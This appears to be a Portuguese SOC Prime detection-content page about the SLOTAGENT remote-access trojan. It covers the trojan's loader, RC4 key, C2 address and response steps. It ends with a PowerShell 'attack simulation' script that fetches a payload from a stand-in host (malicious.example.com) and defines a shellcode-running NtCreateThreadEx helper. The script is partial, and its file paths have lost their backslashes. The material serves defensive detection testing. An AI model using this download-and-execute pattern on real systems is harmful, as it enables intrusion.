SOC Prime Bias: Médio

29 Apr 2026 14:27 UTC

Novo Malware SLOTAGENT Suportando Execução de BOF Publicado

Author Photo
SOC Prime Team linkedin icon Seguir
Novo Malware SLOTAGENT Suportando Execução de BOF Publicado
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

A IIJ identificou um RAT multifuncional previamente desconhecido chamado SLOTAGENT dentro de um arquivo ZIP enviado para um repositório público. O malware suporta a execução de payloads Beacon Object File e inclui capacidades anti-forenses, como apagamento de carimbos de data/hora para dificultar a análise. Ele se comunica com um endpoint TCP codificado através de um protocolo personalizado que troca dados no formato JSON. O carregador depende de dados de configuração criptografados com RC4 e carregamento de DLL reflexivo para lançar o payload final.

Investigação

A análise estática mostrou que o executável do carregador, WindowsOobeAppHost.AOT.exe, resolve funções da API do Windows através de uma rotina de hash personalizada baseada no DJB2. Seu arquivo de configuração criptografado, db.config, é descriptografado com RC4 usando a chave easdbadshyfab e depois executado como shellcode contendo uma DLL codificada em XOR. Após o carregamento, o RAT conecta-se a 43.156.59.110:699 e processa comandos baseados em JSON que suportam funções, incluindo captura de tela, upload e download de arquivos e execução de BOF.

Mitigação

Os defensores devem detectar o endereço IP de comando e controle codificado e procurar por cadeias de caminho do tipo HTTP associadas ao tráfego de rede do malware. As regras YARA fornecidas no relatório devem ser implantadas para identificar tanto o carregador quanto os componentes RAT. As equipes de segurança também devem monitorar comportamentos suspeitos de hash de API e carregamento reflexivo de DLLs nos endpoints. A execução de arquivos EXE ou DLL não assinados e não confiáveis deve ser restrita sempre que possível.

Resposta

Se indicadores ligados ao SLOTAGENT forem detectados, isole imediatamente o host afetado, termine o processo malicioso e colete memória para exame forense. O endereço IP de comando e controle e as portas relacionadas devem ser bloqueadas na fronteira da rede. As organizações devem então realizar uma varredura completa pelos nomes de arquivos e hashes conhecidos e aplicar as assinaturas YARA publicadas nos sistemas de detecção de endpoints.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Teste de Pré-voo de Telemetria & Base deve ter sido aprovado.

  • Narrativa & Comandos do Ataque:

    O adversário obteve uma cópia do binário do carregador SLOTAGENT, o renomeou para WindowsOobeAppHost.AOT.exe para misturá-lo com processos OOBE legítimos, e o colocou em C:WindowsSystem32. O payload é armazenado em um blob criptografado no servidor do atacante. Usando PowerShell, o atacante baixa o blob criptografado, o descriptografa na memória e invoca a rotina reflexiva do carregador via NtCreateThreadEx. O carregador internamente chama NtCreateFile para ler recursos adicionais do blob criptografado e então usa carregamento reflexivo para executar a DLL maliciosa sem tocar no disco. Esta atividade produz um evento Sysmon ProcessCreate com o exato Nome da Imagem e uma CallTrace contendo as três strings definidas na regra.

  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de carregamento reflexivo SLOTAGENT (Windows)
    # -------------------------------------------------
    # 1. Definir caminhos
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Garantir que o carregador existe (cópia simulada do binário real)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Copiando carregador simulado para $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Download do payload criptografado (simulado)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Descriptografar payload na memória (substituto – descriptografia real omitida)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Invocar carregamento reflexivo via chamadas API nativas
    #    Isso usa um pequeno auxiliar C# compilado em tempo real que chama NtCreateThreadEx
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Limpar temporário
    Remove-Item $tempPayload -Force
  • Comandos de Limpeza:

    # Terminar qualquer processo de carregador restante
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Remover o binário do carregador simulado
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Remover qualquer arquivo temporário residual
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue